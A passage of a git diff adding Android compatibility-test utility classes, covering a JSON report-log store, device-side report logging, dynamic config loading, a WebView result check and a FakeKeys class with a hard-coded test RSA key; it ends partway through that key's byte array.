+    public void close() throws IOException {
+        mJsonWriter.endObject();
+        mJsonWriter.flush();
+        mJsonWriter.close();
+    }
+
+    /**
+     * Start a new group of result.
+     */
+    @Override
+    public void startGroup() throws IOException {
+        mJsonWriter.beginObject();
+    }
+
+    /**
+     * Start a new group of result with specified name.
+     */
+    @Override
+    public void startGroup(String name) throws IOException {
+        mJsonWriter.name(name);
+        mJsonWriter.beginObject();
+    }
+
+    /**
+     * Complete adding result to the last started group.
+     */
+    @Override
+    public void endGroup() throws IOException {
+        mJsonWriter.endObject();
+    }
+
+    /**
+     * Start a new array of result.
+     */
+    @Override
+    public void startArray() throws IOException {
+        mJsonWriter.beginArray();
+    }
+
+    /**
+     * Start a new array of result with specified name.
+     */
+    @Override
+    public void startArray(String name) throws IOException {
+        checkName(name);
+        mJsonWriter.name(name);
+        mJsonWriter.beginArray();
+    }
+
+    /**
+     * Complete adding result to the last started array.
+     */
+    @Override
+    public void endArray() throws IOException {
+        mJsonWriter.endArray();
+    }
+
+    /**
+     * Adds a int value to the InfoStore
+     */
+    @Override
+    public void addResult(String name, int value) throws IOException {
+        checkName(name);
+        mJsonWriter.name(name);
+        mJsonWriter.value(value);
+    }
+
+    /**
+     * Adds a long value to the InfoStore
+     */
+    @Override
+    public void addResult(String name, long value) throws IOException {
+        checkName(name);
+        mJsonWriter.name(name);
+        mJsonWriter.value(value);
+    }
+
+    /**
+     * Adds a float value to the InfoStore
+     */
+    @Override
+    public void addResult(String name, float value) throws IOException {
+        addResult(name, (double) value);
+    }
+
+    /**
+     * Adds a double value to the InfoStore
+     */
+    @Override
+    public void addResult(String name, double value) throws IOException {
+        checkName(name);
+        if (isDoubleNaNOrInfinite(value)) {
+            return;
+        } else {
+            mJsonWriter.name(name);
+            mJsonWriter.value(value);
+        }
+    }
+
+    /**
+     * Adds a boolean value to the InfoStore
+     */
+    @Override
+    public void addResult(String name, boolean value) throws IOException {
+        checkName(name);
+        mJsonWriter.name(name);
+        mJsonWriter.value(value);
+    }
+
+    /**
+     * Adds a String value to the InfoStore
+     */
+    @Override
+    public void addResult(String name, String value) throws IOException {
+        checkName(name);
+        mJsonWriter.name(name);
+        mJsonWriter.value(checkString(value));
+    }
+
+    /**
+     * Adds a int array to the InfoStore
+     */
+    @Override
+    public void addArrayResult(String name, int[] array) throws IOException {
+        checkName(name);
+        mJsonWriter.name(name);
+        mJsonWriter.beginArray();
+        for (int value : checkArray(array)) {
+            mJsonWriter.value(value);
+        }
+        mJsonWriter.endArray();
+    }
+
+    /**
+     * Adds a long array to the InfoStore
+     */
+    @Override
+    public void addArrayResult(String name, long[] array) throws IOException {
+        checkName(name);
+        mJsonWriter.name(name);
+        mJsonWriter.beginArray();
+        for (long value : checkArray(array)) {
+            mJsonWriter.value(value);
+        }
+        mJsonWriter.endArray();
+    }
+
+    /**
+     * Adds a float array to the InfoStore
+     */
+    @Override
+    public void addArrayResult(String name, float[] array) throws IOException {
+        double[] doubleArray = new double[array.length];
+        for (int i = 0; i < array.length; i++) {
+            doubleArray[i] = array[i];
+        }
+        addArrayResult(name, doubleArray);
+    }
+
+    /**
+     * Adds a double array to the InfoStore
+     */
+    @Override
+    public void addArrayResult(String name, double[] array) throws IOException {
+        checkName(name);
+        mJsonWriter.name(name);
+        mJsonWriter.beginArray();
+        for (double value : checkArray(array)) {
+            if (isDoubleNaNOrInfinite(value)) {
+                continue;
+            }
+            mJsonWriter.value(value);
+        }
+        mJsonWriter.endArray();
+    }
+
+    /**
+     * Adds a boolean array to the InfoStore
+     */
+    @Override
+    public void addArrayResult(String name, boolean[] array) throws IOException {
+        checkName(name);
+        mJsonWriter.name(name);
+        mJsonWriter.beginArray();
+        for (boolean value : checkArray(array)) {
+            mJsonWriter.value(value);
+        }
+        mJsonWriter.endArray();
+    }
+
+    /**
+     * Adds a List of String to the InfoStore
+     */
+    @Override
+    public void addListResult(String name, List<String> list) throws IOException {
+        checkName(name);
+        mJsonWriter.name(name);
+        mJsonWriter.beginArray();
+        for (String value : checkStringList(list)) {
+            mJsonWriter.value(checkString(value));
+        }
+        mJsonWriter.endArray();
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceReportLog.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceReportLog.java
new file mode 100644
index 0000000..d170263
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceReportLog.java
@@ -0,0 +1,283 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.Instrumentation;
+import android.os.Bundle;
+import android.os.Environment;
+import android.util.Log;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.List;
+
+/**
+ * Handles adding results to the report for device side tests.
+ *
+ * NOTE: tests MUST call {@link #submit(Instrumentation)} if and only if the test passes in order to
+ * send the results to the runner.
+ */
+public class DeviceReportLog extends ReportLog {
+    private static final String TAG = DeviceReportLog.class.getSimpleName();
+    private static final String RESULT = "COMPATIBILITY_TEST_RESULT";
+    private static final int INST_STATUS_ERROR = -1;
+    private static final int INST_STATUS_IN_PROGRESS = 2;
+
+    private ReportLogDeviceInfoStore store;
+
+    public DeviceReportLog(String reportLogName, String streamName) {
+        this(reportLogName, streamName,
+                new File(Environment.getExternalStorageDirectory(), "report-log-files"));
+    }
+
+    public DeviceReportLog(String reportLogName, String streamName, File logDirectory) {
+        super(reportLogName, streamName);
+        try {
+            // dir value must match the src-dir value configured in ReportLogCollector target
+            // preparer in cts/harness/tools/cts-tradefed/res/config/cts-preconditions.xml
+            if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
+                throw new IOException("External storage is not mounted");
+            } else if ((!logDirectory.exists() && !logDirectory.mkdirs())
+                    || (logDirectory.exists() && !logDirectory.isDirectory())) {
+                throw new IOException("Cannot create directory for device info files");
+            } else {
+                File jsonFile = new File(logDirectory, mReportLogName + ".reportlog.json");
+                store = new ReportLogDeviceInfoStore(jsonFile, mStreamName);
+                store.open();
+            }
+        } catch (Exception e) {
+            Log.e(TAG, "Could not create report log file.", e);
+        }
+    }
+
+    /**
+     * Adds a double metric to the report.
+     */
+    @Override
+    public void addValue(String source, String message, double value, ResultType type,
+            ResultUnit unit) {
+        super.addValue(source, message, value, type, unit);
+        try {
+            store.addResult(message, value);
+        } catch (Exception e) {
+            Log.e(TAG, "Could not log metric.", e);
+        }
+    }
+
+    /**
+     * Adds a double metric to the report.
+     */
+    @Override
+    public void addValue(String message, double value, ResultType type, ResultUnit unit) {
+        super.addValue(message, value, type, unit);
+        try {
+            store.addResult(message, value);
+        } catch (Exception e) {
+            Log.e(TAG, "Could not log metric.", e);
+        }
+    }
+
+    /**
+     * Adds a double array of metrics to the report.
+     */
+    @Override
+    public void addValues(String source, String message, double[] values, ResultType type,
+            ResultUnit unit) {
+        super.addValues(source, message, values, type, unit);
+        try {
+            store.addArrayResult(message, values);
+        } catch (Exception e) {
+            Log.e(TAG, "Could not log metric.", e);
+        }
+    }
+
+    /**
+     * Adds a double array of metrics to the report.
+     */
+    @Override
+    public void addValues(String message, double[] values, ResultType type, ResultUnit unit) {
+        super.addValues(message, values, type, unit);
+        try {
+            store.addArrayResult(message, values);
+        } catch (Exception e) {
+            Log.e(TAG, "Could not log metric.", e);
+        }
+    }
+
+    /**
+     * Adds an int metric to the report.
+     */
+    @Override
+    public void addValue(String message, int value, ResultType type, ResultUnit unit) {
+        try {
+            store.addResult(message, value);
+        } catch (Exception e) {
+            Log.e(TAG, "Could not log metric.", e);
+        }
+    }
+
+    /**
+     * Adds a long metric to the report.
+     */
+    @Override
+    public void addValue(String message, long value, ResultType type, ResultUnit unit) {
+        try {
+            store.addResult(message, value);
+        } catch (Exception e) {
+            Log.e(TAG, "Could not log metric.", e);
+        }
+    }
+
+    /**
+     * Adds a float metric to the report.
+     */
+    @Override
+    public void addValue(String message, float value, ResultType type, ResultUnit unit) {
+        try {
+            store.addResult(message, value);
+        } catch (Exception e) {
+            Log.e(TAG, "Could not log metric.", e);
+        }
+    }
+
+    /**
+     * Adds a boolean metric to the report.
+     */
+    @Override
+    public void addValue(String message, boolean value, ResultType type, ResultUnit unit) {
+        try {
+            store.addResult(message, value);
+        } catch (Exception e) {
+            Log.e(TAG, "Could not log metric.", e);
+        }
+    }
+
+    /**
+     * Adds a String metric to the report.
+     */
+    @Override
+    public void addValue(String message, String value, ResultType type, ResultUnit unit) {
+        try {
+            store.addResult(message, value);
+        } catch (Exception e) {
+            Log.e(TAG, "Could not log metric.", e);
+        }
+    }
+
+    /**
+     * Adds an int array of metrics to the report.
+     */
+    @Override
+    public void addValues(String message, int[] values, ResultType type, ResultUnit unit) {
+        try {
+            store.addArrayResult(message, values);
+        } catch (Exception e) {
+            Log.e(TAG, "Could not log metric.", e);
+        }
+    }
+
+    /**
+     * Adds a long array of metrics to the report.
+     */
+    @Override
+    public void addValues(String message, long[] values, ResultType type, ResultUnit unit) {
+        try {
+            store.addArrayResult(message, values);
+        } catch (Exception e) {
+            Log.e(TAG, "Could not log metric.", e);
+        }
+    }
+
+    /**
+     * Adds a float array of metrics to the report.
+     */
+    @Override
+    public void addValues(String message, float[] values, ResultType type, ResultUnit unit) {
+        try {
+            store.addArrayResult(message, values);
+        } catch (Exception e) {
+            Log.e(TAG, "Could not log metric.", e);
+        }
+    }
+
+    /**
+     * Adds a boolean array of metrics to the report.
+     */
+    @Override
+    public void addValues(String message, boolean[] values, ResultType type, ResultUnit unit) {
+        try {
+            store.addArrayResult(message, values);
+        } catch (Exception e) {
+            Log.e(TAG, "Could not log metric.", e);
+        }
+    }
+
+    /**
+     * Adds a String List of metrics to the report.
+     */
+    @Override
+    public void addValues(String message, List<String> values, ResultType type, ResultUnit unit) {
+        try {
+            store.addListResult(message, values);
+        } catch (Exception e) {
+            Log.e(TAG, "Could not log metric.", e);
+        }
+    }
+
+    /**
+     * Sets the summary double metric of the report.
+     *
+     * NOTE: messages over {@value Metric#MAX_MESSAGE_LENGTH} chars will be trimmed.
+     */
+    @Override
+    public void setSummary(String message, double value, ResultType type, ResultUnit unit) {
+        super.setSummary(message, value, type, unit);
+        try {
+            store.addResult(message, value);
+        } catch (Exception e) {
+            Log.e(TAG, "Could not log metric.", e);
+        }
+    }
+
+    /**
+     * Closes report file and submits report to instrumentation.
+     */
+    public void submit(Instrumentation instrumentation) {
+        try {
+            store.close();
+            Bundle output = new Bundle();
+            output.putString(RESULT, serialize(this));
+            instrumentation.sendStatus(INST_STATUS_IN_PROGRESS, output);
+        } catch (Exception e) {
+            Log.e(TAG, "ReportLog Submit Failed", e);
+            instrumentation.sendStatus(INST_STATUS_ERROR, null);
+        }
+    }
+
+    /**
+     * Closes report file. Static functions that do not have access to instrumentation can
+     * use this to close report logs. Summary, if present, is not reported to instrumentation, hence
+     * does not appear in the result XML.
+     */
+    public void submit() {
+        try {
+            store.close();
+        } catch (Exception e) {
+            Log.e(TAG, "ReportLog Submit Failed", e);
+        }
+    }
+}
diff --git a/hostsidetests/api/src/com/android/cts/api/PulledFile.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DummyActivity.java
similarity index 63%
copy from hostsidetests/api/src/com/android/cts/api/PulledFile.java
copy to common/device-side/util-axt/src/com/android/compatibility/common/util/DummyActivity.java
index 4742d52..672106c 100644
--- a/hostsidetests/api/src/com/android/cts/api/PulledFile.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DummyActivity.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2013 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,16 +14,11 @@
  * limitations under the License.
  */
 
-package com.android.cts.api;
 
-import java.io.File;
+package com.android.compatibility.common.util;
 
-class PulledFile {
-    final File fileInHost;
-    final String pathInDevice;
+import android.app.Activity;
 
-    PulledFile(File fileInHost, String pathInDevice) {
-        this.fileInHost = fileInHost;
-        this.pathInDevice = pathInDevice;
-    }
+public class DummyActivity extends Activity {
+
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
new file mode 100644
index 0000000..e7ee499
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.os.Environment;
+
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.File;
+import java.io.IOException;
+
+/**
+ * Load dynamic config for device side test cases
+ */
+public class DynamicConfigDeviceSide extends DynamicConfig {
+    public DynamicConfigDeviceSide(String moduleName) throws XmlPullParserException, IOException {
+        this(moduleName, new File(CONFIG_FOLDER_ON_DEVICE));
+    }
+
+    public DynamicConfigDeviceSide(String moduleName, File configFolder)
+            throws XmlPullParserException, IOException {
+        if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
+            throw new IOException("External storage is not mounted");
+        }
+        File configFile = getConfigFile(configFolder, moduleName);
+        initializeConfig(configFile);
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/EvaluateJsResultPollingCheck.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/EvaluateJsResultPollingCheck.java
new file mode 100644
index 0000000..5567ec6
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/EvaluateJsResultPollingCheck.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.webkit.ValueCallback;
+
+import junit.framework.Assert;
+
+public class EvaluateJsResultPollingCheck extends PollingCheck
+        implements ValueCallback<String> {
+    private String mActualResult;
+    private String mExpectedResult;
+    private boolean mGotResult;
+
+    public EvaluateJsResultPollingCheck(String expected) {
+        mExpectedResult = expected;
+    }
+
+    @Override
+    public synchronized boolean check() {
+        return mGotResult;
+    }
+
+    @Override
+    public void run() {
+        super.run();
+        synchronized (this) {
+            Assert.assertEquals(mExpectedResult, mActualResult);
+        }
+    }
+
+    @Override
+    public synchronized void onReceiveValue(String result) {
+        mGotResult = true;
+        mActualResult = result;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/FakeKeys.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/FakeKeys.java
new file mode 100644
index 0000000..85e06ea
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/FakeKeys.java
@@ -0,0 +1,469 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+// Copied from cts/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
+
+public class FakeKeys {
+    /*
+     * The keys and certificates below are generated with:
+     *
+     * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
+     * openssl req -newkey rsa:1024 -keyout userkey.pem -nodes -days 3650 -out userkey.req
+     * mkdir -p demoCA/newcerts
+     * touch demoCA/index.txt
+     * echo "01" > demoCA/serial
+     * openssl ca -out usercert.pem -in userkey.req -cert cacert.pem -keyfile cakey.pem -days 3650
+     */
+    public static class FAKE_RSA_1 {
+        /**
+         * Generated from above and converted with:
+         *
+         * openssl pkcs8 -topk8 -outform d -in userkey.pem -nocrypt | xxd -i | sed 's/0x/(byte) 0x/g'
+         */
+        public static final byte[] privateKey = {
+            (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x78, (byte) 0x02, (byte) 0x01,
+            (byte) 0x00, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a,
+            (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01,
+            (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x04, (byte) 0x82,
+            (byte) 0x02, (byte) 0x62, (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x5e,
+            (byte) 0x02, (byte) 0x01, (byte) 0x00, (byte) 0x02, (byte) 0x81, (byte) 0x81,
+            (byte) 0x00, (byte) 0xce, (byte) 0x29, (byte) 0xeb, (byte) 0xf6, (byte) 0x5b,
+            (byte) 0x25, (byte) 0xdc, (byte) 0xa1, (byte) 0xa6, (byte) 0x2c, (byte) 0x66,
+            (byte) 0xcb, (byte) 0x20, (byte) 0x90, (byte) 0x27, (byte) 0x86, (byte) 0x8a,
+            (byte) 0x44, (byte) 0x71, (byte) 0x50, (byte) 0xda, (byte) 0xd3, (byte) 0x02,
+            (byte) 0x77, (byte) 0x55, (byte) 0xe9, (byte) 0xe8, (byte) 0x08, (byte) 0xf3,
+            (byte) 0x36, (byte) 0x9a, (byte) 0xae, (byte) 0xab, (byte) 0x04, (byte) 0x6d,
+            (byte) 0x00, (byte) 0x99, (byte) 0xbf, (byte) 0x7d, (byte) 0x0f, (byte) 0x67,
+            (byte) 0x8b, (byte) 0x1d, (byte) 0xd4, (byte) 0x2b, (byte) 0x7c, (byte) 0xcb,
+            (byte) 0xcd, (byte) 0x33, (byte) 0xc7, (byte) 0x84, (byte) 0x30, (byte) 0xe2,
+            (byte) 0x45, (byte) 0x21, (byte) 0xb3, (byte) 0x75, (byte) 0xf5, (byte) 0x79,
+            (byte) 0x02, (byte) 0xda, (byte) 0x50, (byte) 0xa3, (byte) 0x8b, (byte) 0xce,
+            (byte) 0xc3, (byte) 0x8e, (byte) 0x0f, (byte) 0x25, (byte) 0xeb, (byte) 0x08,
+            (byte) 0x2c, (byte) 0xdd, (byte) 0x1c, (byte) 0xcf, (byte) 0xff, (byte) 0x3b,
+            (byte) 0xde, (byte) 0xb6, (byte) 0xaa, (byte) 0x2a, (byte) 0xa9, (byte) 0xc4,
+            (byte) 0x8a, (byte) 0x24, (byte) 0x24, (byte) 0xe6, (byte) 0x29, (byte) 0x0d,
+            (byte) 0x98, (byte) 0x4c, (byte) 0x32, (byte) 0xa1, (byte) 0x7b, (byte) 0x23,
+            (byte) 0x2b, (byte) 0x42, (byte) 0x30, (byte) 0xee, (byte) 0x78, (byte) 0x08,
+            (byte) 0x47, (byte) 0xad, (byte) 0xf2, (byte) 0x96, (byte) 0xd5, (byte) 0xf1,
+            (byte) 0x62, (byte) 0x42, (byte) 0x2d, (byte) 0x35, (byte) 0x19, (byte) 0xb4,
+            (byte) 0x3c, (byte) 0xc9, (byte) 0xc3, (byte) 0x5f, (byte) 0x03, (byte) 0x16,
+            (byte) 0x3a, (byte) 0x23, (byte) 0xac, (byte) 0xcb, (byte) 0xce, (byte) 0x9e,
+            (byte) 0x51, (byte) 0x2e, (byte) 0x6d, (byte) 0x02, (byte) 0x03, (byte) 0x01,
+            (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x81, (byte) 0x80, (byte) 0x16,
+            (byte) 0x59, (byte) 0xc3, (byte) 0x24, (byte) 0x1d, (byte) 0x33, (byte) 0x98,
+            (byte) 0x9c, (byte) 0xc9, (byte) 0xc8, (byte) 0x2c, (byte) 0x88, (byte) 0xbf,
+            (byte) 0x0a, (byte) 0x01, (byte) 0xce, (byte) 0xfb, (byte) 0x34, (byte) 0x7a,
+            (byte) 0x58, (byte) 0x7a, (byte) 0xb0, (byte) 0xbf, (byte) 0xa6, (byte) 0xb2,
+            (byte) 0x60, (byte) 0xbe, (byte) 0x70, (byte) 0x21, (byte) 0xf5, (byte) 0xfc,
+            (byte) 0x85, (byte) 0x0d, (byte) 0x33, (byte) 0x58, (byte) 0xa1, (byte) 0xe5,
+            (byte) 0x09, (byte) 0x36, (byte) 0x84, (byte) 0xb2, (byte) 0x04, (byte) 0x0a,
+            (byte) 0x02, (byte) 0xd3, (byte) 0x88, (byte) 0x1f, (byte) 0x0c, (byte) 0x2b,
+            (byte) 0x1d, (byte) 0xe9, (byte) 0x3d, (byte) 0xe7, (byte) 0x79, (byte) 0xf9,
+            (byte) 0x32, (byte) 0x5c, (byte) 0x8a, (byte) 0x75, (byte) 0x49, (byte) 0x12,
+            (byte) 0xe4, (byte) 0x05, (byte) 0x26, (byte) 0xd4, (byte) 0x2e, (byte) 0x9e,
+            (byte) 0x1f, (byte) 0xcc, (byte) 0x54, (byte) 0xad, (byte) 0x33, (byte) 0x8d,
+            (byte) 0x99, (byte) 0x00, (byte) 0xdc, (byte) 0xf5, (byte) 0xb4, (byte) 0xa2,
+            (byte) 0x2f, (byte) 0xba, (byte) 0xe5, (byte) 0x62, (byte) 0x30, (byte) 0x6d,
+            (byte) 0xe6, (byte) 0x3d, (byte) 0xeb, (byte) 0x24, (byte) 0xc2, (byte) 0xdc,
+            (byte) 0x5f, (byte) 0xb7, (byte) 0x16, (byte) 0x35, (byte) 0xa3, (byte) 0x98,
+            (byte) 0x98, (byte) 0xa8, (byte) 0xef, (byte) 0xe8, (byte) 0xc4, (byte) 0x96,
+            (byte) 0x6d, (byte) 0x38, (byte) 0xab, (byte) 0x26, (byte) 0x6d, (byte) 0x30,
+            (byte) 0xc2, (byte) 0xa0, (byte) 0x44, (byte) 0xe4, (byte) 0xff, (byte) 0x7e,
+            (byte) 0xbe, (byte) 0x7c, (byte) 0x33, (byte) 0xa5, (byte) 0x10, (byte) 0xad,
+            (byte) 0xd7, (byte) 0x1e, (byte) 0x13, (byte) 0x20, (byte) 0xb3, (byte) 0x1f,
+            (byte) 0x41, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xf1, (byte) 0x89,
+            (byte) 0x07, (byte) 0x0f, (byte) 0xe8, (byte) 0xcf, (byte) 0xab, (byte) 0x13,
+            (byte) 0x2a, (byte) 0x8f, (byte) 0x88, (byte) 0x80, (byte) 0x11, (byte) 0x9a,
+            (byte) 0x79, (byte) 0xb6, (byte) 0x59, (byte) 0x3a, (byte) 0x50, (byte) 0x6e,
+            (byte) 0x57, (byte) 0x37, (byte) 0xab, (byte) 0x2a, (byte) 0xd2, (byte) 0xaa,
+            (byte) 0xd9, (byte) 0x72, (byte) 0x73, (byte) 0xff, (byte) 0x8b, (byte) 0x47,
+            (byte) 0x76, (byte) 0xdd, (byte) 0xdc, (byte) 0xf5, (byte) 0x97, (byte) 0x44,
+            (byte) 0x3a, (byte) 0x78, (byte) 0xbe, (byte) 0x17, (byte) 0xb4, (byte) 0x22,
+            (byte) 0x6f, (byte) 0xe5, (byte) 0x23, (byte) 0x70, (byte) 0x1d, (byte) 0x10,
+            (byte) 0x5d, (byte) 0xba, (byte) 0x16, (byte) 0x81, (byte) 0xf1, (byte) 0x45,
+            (byte) 0xce, (byte) 0x30, (byte) 0xb4, (byte) 0xab, (byte) 0x80, (byte) 0xe4,
+            (byte) 0x98, (byte) 0x31, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xda,
+            (byte) 0x82, (byte) 0x9d, (byte) 0x3f, (byte) 0xca, (byte) 0x2f, (byte) 0xe1,
+            (byte) 0xd4, (byte) 0x86, (byte) 0x77, (byte) 0x48, (byte) 0xa6, (byte) 0xab,
+            (byte) 0xab, (byte) 0x1c, (byte) 0x42, (byte) 0x5c, (byte) 0xd5, (byte) 0xc7,
+            (byte) 0x46, (byte) 0x59, (byte) 0x91, (byte) 0x3f, (byte) 0xfc, (byte) 0xcc,
+            (byte) 0xec, (byte) 0xc2, (byte) 0x40, (byte) 0x12, (byte) 0x2c, (byte) 0x8d,
+            (byte) 0x1f, (byte) 0xa2, (byte) 0x18, (byte) 0x88, (byte) 0xee, (byte) 0x82,
+            (byte) 0x4a, (byte) 0x5a, (byte) 0x5e, (byte) 0x88, (byte) 0x20, (byte) 0xe3,
+            (byte) 0x7b, (byte) 0xe0, (byte) 0xd8, (byte) 0x3a, (byte) 0x52, (byte) 0x9a,
+            (byte) 0x26, (byte) 0x6a, (byte) 0x04, (byte) 0xec, (byte) 0xe8, (byte) 0xb9,
+            (byte) 0x48, (byte) 0x40, (byte) 0xe1, (byte) 0xe1, (byte) 0x83, (byte) 0xa6,
+            (byte) 0x67, (byte) 0xa6, (byte) 0xfd, (byte) 0x02, (byte) 0x41, (byte) 0x00,
+            (byte) 0x89, (byte) 0x72, (byte) 0x3e, (byte) 0xb0, (byte) 0x90, (byte) 0xfd,
+            (byte) 0x4c, (byte) 0x0e, (byte) 0xd6, (byte) 0x13, (byte) 0x63, (byte) 0xcb,
+            (byte) 0xed, (byte) 0x38, (byte) 0x88, (byte) 0xb6, (byte) 0x79, (byte) 0xc4,
+            (byte) 0x33, (byte) 0x6c, (byte) 0xf6, (byte) 0xf8, (byte) 0xd8, (byte) 0xd0,
+            (byte) 0xbf, (byte) 0x9d, (byte) 0x35, (byte) 0xac, (byte) 0x69, (byte) 0xd2,
+            (byte) 0x2b, (byte) 0xc1, (byte) 0xf9, (byte) 0x24, (byte) 0x7b, (byte) 0xce,
+            (byte) 0xcd, (byte) 0xcb, (byte) 0xa7, (byte) 0xb2, (byte) 0x7a, (byte) 0x0a,
+            (byte) 0x27, (byte) 0x19, (byte) 0xc9, (byte) 0xaf, (byte) 0x0d, (byte) 0x21,
+            (byte) 0x89, (byte) 0x88, (byte) 0x7c, (byte) 0xad, (byte) 0x9e, (byte) 0x8d,
+            (byte) 0x47, (byte) 0x6d, (byte) 0x3f, (byte) 0xce, (byte) 0x7b, (byte) 0xa1,
+            (byte) 0x74, (byte) 0xf1, (byte) 0xa0, (byte) 0xa1, (byte) 0x02, (byte) 0x41,
+            (byte) 0x00, (byte) 0xd9, (byte) 0xa8, (byte) 0xf5, (byte) 0xfe, (byte) 0xce,
+            (byte) 0xe6, (byte) 0x77, (byte) 0x6b, (byte) 0xfe, (byte) 0x2d, (byte) 0xe0,
+            (byte) 0x1e, (byte) 0xb6, (byte) 0x2e, (byte) 0x12, (byte) 0x4e, (byte) 0x40,
+            (byte) 0xaf, (byte) 0x6a, (byte) 0x7b, (byte) 0x37, (byte) 0x49, (byte) 0x2a,
+            (byte) 0x96, (byte) 0x25, (byte) 0x83, (byte) 0x49, (byte) 0xd4, (byte) 0x0c,
+            (byte) 0xc6, (byte) 0x78, (byte) 0x25, (byte) 0x24, (byte) 0x90, (byte) 0x90,
+            (byte) 0x06, (byte) 0x15, (byte) 0x9e, (byte) 0xfe, (byte) 0xf9, (byte) 0xdf,
+            (byte) 0x5b, (byte) 0xf3, (byte) 0x7e, (byte) 0x38, (byte) 0x70, (byte) 0xeb,
+            (byte) 0x57, (byte) 0xd0, (byte) 0xd9, (byte) 0xa7, (byte) 0x0e, (byte) 0x14,
+            (byte) 0xf7, (byte) 0x95, (byte) 0x68, (byte) 0xd5, (byte) 0xc8, (byte) 0xab,
+            (byte) 0x9d, (byte) 0x3a, (byte) 0x2b, (byte) 0x51, (byte) 0xf9, (byte) 0x02,
+            (byte) 0x41, (byte) 0x00, (byte) 0x96, (byte) 0xdf, (byte) 0xe9, (byte) 0x67,
+            (byte) 0x6c, (byte) 0xdc, (byte) 0x90, (byte) 0x14, (byte) 0xb4, (byte) 0x1d,
+            (byte) 0x22, (byte) 0x33, (byte) 0x4a, (byte) 0x31, (byte) 0xc1, (byte) 0x9d,
+            (byte) 0x2e, (byte) 0xff, (byte) 0x9a, (byte) 0x2a, (byte) 0x95, (byte) 0x4b,
+            (byte) 0x27, (byte) 0x74, (byte) 0xcb, (byte) 0x21, (byte) 0xc3, (byte) 0xd2,
+            (byte) 0x0b, (byte) 0xb2, (byte) 0x46, (byte) 0x87, (byte) 0xf8, (byte) 0x28,
+            (byte) 0x01, (byte) 0x8b, (byte) 0xd8, (byte) 0xb9, (byte) 0x4b, (byte) 0xcd,
+            (byte) 0x9a, (byte) 0x96, (byte) 0x41, (byte) 0x0e, (byte) 0x36, (byte) 0x6d,
+            (byte) 0x40, (byte) 0x42, (byte) 0xbc, (byte) 0xd9, (byte) 0xd3, (byte) 0x7b,
